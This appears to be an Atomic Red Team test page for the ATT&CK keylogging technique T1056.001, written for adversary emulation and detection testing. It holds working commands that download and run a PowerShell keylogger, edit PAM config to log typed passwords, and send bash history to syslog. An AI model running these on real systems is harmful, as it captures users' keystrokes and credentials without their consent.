# T1056.001 - Input Capture: Keylogging

## Description from ATT&CK

> Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)
> 
> Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:
> 
> * Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.
> * Reading raw keystroke data from the hardware buffer.
> * Windows Registry modifications.
> * Custom drivers.
> * [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

[Source](https://attack.mitre.org/techniques/T1056/001)

## Atomic Tests

- [Atomic Test #1: Input Capture](#atomic-test-1-input-capture)
- [Atomic Test #2: Living off the land Terminal Input Capture on Linux with pam.d](#atomic-test-2-living-off-the-land-terminal-input-capture-on-linux-with-pamd)
- [Atomic Test #3: Logging bash history to syslog](#atomic-test-3-logging-bash-history-to-syslog)
- [Atomic Test #4: Logging sh history to syslog/messages](#atomic-test-4-logging-sh-history-to-syslogmessages)
- [Atomic Test #5: Bash session based keylogger](#atomic-test-5-bash-session-based-keylogger)
- [Atomic Test #6: SSHD PAM keylogger](#atomic-test-6-sshd-pam-keylogger)
- [Atomic Test #7: Auditd keylogger](#atomic-test-7-auditd-keylogger)
- [Atomic Test #8: MacOS Swift Keylogger](#atomic-test-8-macos-swift-keylogger)

### Atomic Test #1: Input Capture

Utilize PowerShell and external resource to capture keystrokes
[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.

**Supported Platforms:** Windows

**auto_generated_guid:** `d9b633ca-8efb-45e6-b838-70f595c6ae26`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| filepath | Name of the local file, include path. | path | $env:TEMP&#92;key.log|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
&"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath}
```

#### Cleanup Commands

```powershell
Remove-Item $env:TEMP\key.log -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1

###### Check Prereq Commands

```powershell
if (Test-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") -Force | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1"
```

### Atomic Test #2: Living off the land Terminal Input Capture on Linux with pam.d

Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log.  All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example.  If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).

Use 'aureport --tty' or other audit.d reading tools to read the log output, which is binary.  Mac OS does not currently contain the pam_tty_audit.so library.

**Supported Platforms:** Linux

**auto_generated_guid:** `9c6bdb34-a89f-4b90-acb1-5970614c711b`

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
sudo touch /tmp/password-auth.bk
sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/system-auth
```

#### Cleanup Commands

```sh
sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
```

#### Dependencies: Run with `sh`!

##### Description: Checking if pam_tty_audit.so is installed

###### Check Prereq Commands

```sh
test -f '/usr/lib/pam/pam_tty_audit.so -o  /usr/lib64/security/pam_tty_audit.so'
```

###### Get Prereq Commands

```sh
echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work"
```

### Atomic Test #3: Logging bash history to syslog

There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/

**Supported Platforms:** Linux

**auto_generated_guid:** `0e59d59d-3265-4d35-bebd-bf5c1ec40db5`

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
tail /var/log/syslog
```

#### Cleanup Commands

```sh
unset PROMPT_COMMAND
```

#### Dependencies: Run with `sh`!

##### Description: This test requires to be run in a bash shell and tha